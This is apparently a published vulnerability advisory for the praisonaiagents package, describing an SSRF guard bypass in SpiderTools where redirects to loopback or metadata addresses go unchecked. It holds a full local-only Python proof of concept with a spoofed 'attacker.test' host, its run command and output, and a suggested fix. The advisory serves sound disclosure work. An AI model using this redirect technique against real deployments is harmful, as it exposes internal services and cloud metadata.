PT-2026-53127 · Pypi · Praisonaiagents

Publicado

2026-06-18

·

Atualizado

2026-06-18

CVSS v3.1

6.5

Média

VetorAV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

SpiderTools redirect-target SSRF protection bypass

Summary

SpiderTools.scrape page() validates the initial URL and rejects direct loopback, private, link-local, metadata, and internal hostnames. It then calls requests.Session.get() without disabling automatic redirects or validating redirect Location targets.
Requests follows redirects by default for GET requests. A safe-looking public URL can therefore pass validate url(), redirect to a blocked target such as 127.0.0.1 or 169.254.169.254, and have the redirected response body parsed and returned by scrape page().
The same sink is used by extract links(), crawl(), and extract text() through their calls to scrape page().

Affected component

text
src/praisonai-agents/praisonaiagents/tools/spider tools.py
Tested affected:
  • v3.9.24 / d08d98ca
  • v3.9.26 / 62472a23
  • v4.6.56 / d3c4a2af
  • v4.6.57 / e90d92231853161ad931f3498da57651a9f8b528
  • current main 2f9677abb2ea68eab864ee8b6a828fd0141612e1
No patched version is known at report time.

Root cause

Current main validates only the caller-supplied URL:
python
if not self. validate url(url):
  return {"error": f"Invalid or potentially dangerous URL: {url}"}
The fetch then uses Requests defaults:
python
response = session.get(
  url,
  timeout=timeout,
  verify=verify ssl
)
Because allow redirects=False is not set, Requests follows a 3xx redirect to a new destination that has not been checked by validate url() or host is blocked().

Proof of vulnerability

The PoV below is local-only and does not contact external infrastructure. It starts a loopback-only internal service and a local redirector. During PraisonAI's initial host validation, attacker.test is made to look like a public address. During the actual HTTP request, it routes to the local redirector, which returns 302 Location: http://127.0.0.1:<port>/secret.
Full PoV:
python
#!/usr/bin/env python3
"""Local PoV for SpiderTools redirect-target SSRF.

This uses only loopback services. The "attacker" hostname is treated as public
during PraisonAI's initial URL validation, then routed to a local redirector so
the PoV does not contact external infrastructure. The redirector points at a
loopback-only internal service. Vulnerable behavior is confirmed when
SpiderTools follows that redirect and returns the internal response body.
"""

from  future  import annotations

import http.server
import importlib.util
import inspect
import os
import socket
import socketserver
import threading
from typing import Any


def load spider tools class():
  module file = os.environ.get("PRAISONAI SPIDER TOOLS FILE")
  if module file:
    spec = importlib.util.spec from file location("pov spider tools", module file)
    if spec is None or spec.loader is None:
      raise RuntimeError(f"Could not load spider tools file: {module file}")
    module = importlib.util.module from spec(spec)
    spec.loader.exec module(module)
    return module.SpiderTools

  from praisonaiagents.tools.spider tools import SpiderTools

  return SpiderTools


class InternalHandler(http.server.BaseHTTPRequestHandler):
  body = b"SPIDER-INTERNAL-SECRET"

  def do GET(self) -> None: # noqa: N802
    self.server.hit = True # type: ignore[attr-defined]
    self.send response(200)
    self.send header("Content-Type", "text/html")
    self.send header("Content-Length", str(len(self.body)))
    self.end headers()
    self.wfile.write(self.body)

  def log message(self, * args: Any) -> None:
    return


class RedirectHandler(http.server.BaseHTTPRequestHandler):
  target = ""

  def do GET(self) -> None: # noqa: N802
    self.server.hit = True # type: ignore[attr-defined]
    self.send response(302)
    self.send header("Location", self.target)
    self.end headers()

  def log message(self, * args: Any) -> None:
    return


def called from spider host guard() -> bool:
  return any(frame.function == " host is blocked" for frame in inspect.stack())


def main() -> int:
  os.environ.pop("ALLOW LOCAL CRAWL", None)

  internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
  internal.hit = False # type: ignore[attr-defined]
  internal port = internal.server address[1]

  RedirectHandler.target = f"http://127.0.0.1:{internal port}/secret"
  redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
  redirect.hit = False # type: ignore[attr-defined]
  redirect port = redirect.server address[1]

  threading.Thread(target=internal.serve forever, daemon=True).start()
  threading.Thread(target=redirect.serve forever, daemon=True).start()

  original getaddrinfo = socket.getaddrinfo

  def fake getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
    if host == "attacker.test":
      if called from spider host guard():
        return [
          (
            socket.AF INET,
            socket.SOCK STREAM,
            6,
            "",
            ("93.184.216.34", port),
          )
        ]
      return original getaddrinfo("127.0.0.1", port, *args, **kwargs)
    return original getaddrinfo(host, port, *args, **kwargs)

  tool = load spider tools class()()
  socket.getaddrinfo = fake getaddrinfo
  try:
    direct control = tool.scrape page(
      f"http://127.0.0.1:{internal port}/secret",
      timeout=5,
    )
    redirect result = tool.scrape page(
      f"http://attacker.test:{redirect port}/go",
      timeout=5,
    )
    vulnerable redirect hit = bool(redirect.hit) # type: ignore[attr-defined]
    vulnerable internal hit = bool(internal.hit) # type: ignore[attr-defined]

    redirect.hit = False # type: ignore[attr-defined]
    internal.hit = False # type: ignore[attr-defined]

    import requests

    original session get = requests.Session.get

    def no redirect get(self, url, **kwargs): # type: ignore[no-untyped-def]
      kwargs.setdefault("allow redirects", False)
      return original session get(self, url, **kwargs)

    requests.Session.get = no redirect get
    try:
      no redirect control = load spider tools class()().scrape page(
        f"http://attacker.test:{redirect port}/go",
        timeout=5,
      )
    finally:
      requests.Session.get = original session get
    no redirect redirect hit = bool(redirect.hit) # type: ignore[attr-defined]
    no redirect internal hit = bool(internal.hit) # type: ignore[attr-defined]
  finally:
    socket.getaddrinfo = original getaddrinfo
    redirect.shutdown()
    internal.shutdown()
    redirect.server close()
    internal.server close()

  print("DIRECT CONTROL:", direct control)
  print("REDIRECT RESULT:", redirect result)
  print("REDIRECT SERVER HIT:", vulnerable redirect hit)
  print("INTERNAL SERVER HIT:", vulnerable internal hit)
  print("NO REDIRECT CONTROL:", no redirect control)
  print("NO REDIRECT SERVER HIT:", no redirect redirect hit)
  print("NO REDIRECT INTERNAL HIT:", no redirect internal hit)

  if not isinstance(direct control, dict) or "dangerous URL" not in str(direct control):
    raise SystemExit("control failed: direct loopback was not blocked")
  if not isinstance(redirect result, dict) or "error" in redirect result:
    raise SystemExit(f"bypass failed: unexpected result {redirect result!r}")
  if "SPIDER-INTERNAL-SECRET" not in str(redirect result.get("content", "")):
    raise SystemExit("bypass failed: internal body was not returned")
  if not vulnerable redirect hit or not vulnerable internal hit:
    raise SystemExit("bypass failed: expected local servers were not hit")
  if not no redirect redirect hit or no redirect internal hit:
    raise SystemExit("fix control failed: no-redirect mode reached internal service")

  print("PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback")
  return 0


if  name  == " main ":
  raise SystemExit(main())
Run:
fish
cd /Users/rexliu/Documents/GA code/REDit Deployment/stack/deploy
env PRAISONAI SPIDER TOOLS FILE=/path/to/PraisonAI/src/praisonai-agents/praisonaiagents/tools/spider tools.py 
 uv run --with requests --with beautifulsoup4 --with lxml --python 3.11 
 poc spider tools redirect ssrf.py
Observed on current main:
text
DIRECT CONTROL: {'error': 'Invalid or potentially dangerous URL: http://127.0.0.1:<port>/secret'}
REDIRECT RESULT: {'url': 'http://attacker.test:<port>/go', 'status code': 200, ... 'content': 'SPIDER-INTERNAL-SECRET', ...}
REDIRECT SERVER HIT: True
INTERNAL SERVER HIT: True
NO REDIRECT CONTROL: {'url': 'http://attacker.test:<port>/go', 'status code': 302, ... 'Location': 'http://127.0.0.1:<port>/secret', ...}
NO REDIRECT SERVER HIT: True
NO REDIRECT INTERNAL HIT: False
PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback
The direct control proves direct loopback is blocked. The redirect result proves the same blocked destination is reached through a public-looking initial URL. The no-redirect control proves that disabling automatic redirects prevents the internal request while still receiving the external redirect response.

Why this is not intended behavior

The Spider Tools documentation says scrape page, extract links, crawl, and extract text refuse dangerous URLs before network requests. The documented blocked classes include loopback, private/reserved IPs, link-local/cloud metadata endpoints, internal TLDs, non-HTTP(S) schemes, and parser-smuggling forms. The same page states the validation is always on for bundled spider tools and does not require enable security().
The current code also documents validate url() as URL validation "to prevent SSRF attacks." A redirect to a loopback target bypasses that documented protection.

Impact

An attacker who can influence a URL passed to scrape page(), extract links(), crawl(), or extract text() can cause the PraisonAI process to request destinations that SpiderTools is designed to block.
Potential impact includes:
  • reading loopback-only HTTP services;
  • probing or reading private network services reachable from the PraisonAI host;
  • reading link-local/cloud metadata endpoints if reachable in the deployment environment.
The PoV demonstrates returned response-body disclosure from a loopback-only service. This report does not claim arbitrary code execution or live cloud credential theft without deployment-specific evidence.

Severity

Suggested default severity: Moderate.
High severity may be appropriate for deployments where untrusted users can directly invoke SpiderTools through a network-facing agent, bot, API, or MCP service and sensitive internal or metadata services are reachable.

Suggested fix

Disable automatic redirects in scrape page():
python
response = session.get(
  url,
  timeout=timeout,
  verify=verify ssl,
  allow redirects=False,
)
If redirects should remain supported, follow them manually and validate every Location target before each hop using the same SSRF guard:
  • require http or https;
  • resolve and validate every redirect hostname;
  • reject loopback, private, link-local, reserved, multicast, unspecified, internal, and metadata destinations;
  • cap redirect count;
  • apply the same safe fetch path to scrape page(), extract links(), crawl(), and extract text().
Regression tests should cover direct loopback rejection, public-to-loopback redirect rejection, public-to-public redirects if supported, and all scrape page() callers.

Correção

SSRF

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-6H9P-93HQ-Q7H6

Produtos afetados

Praisonaiagents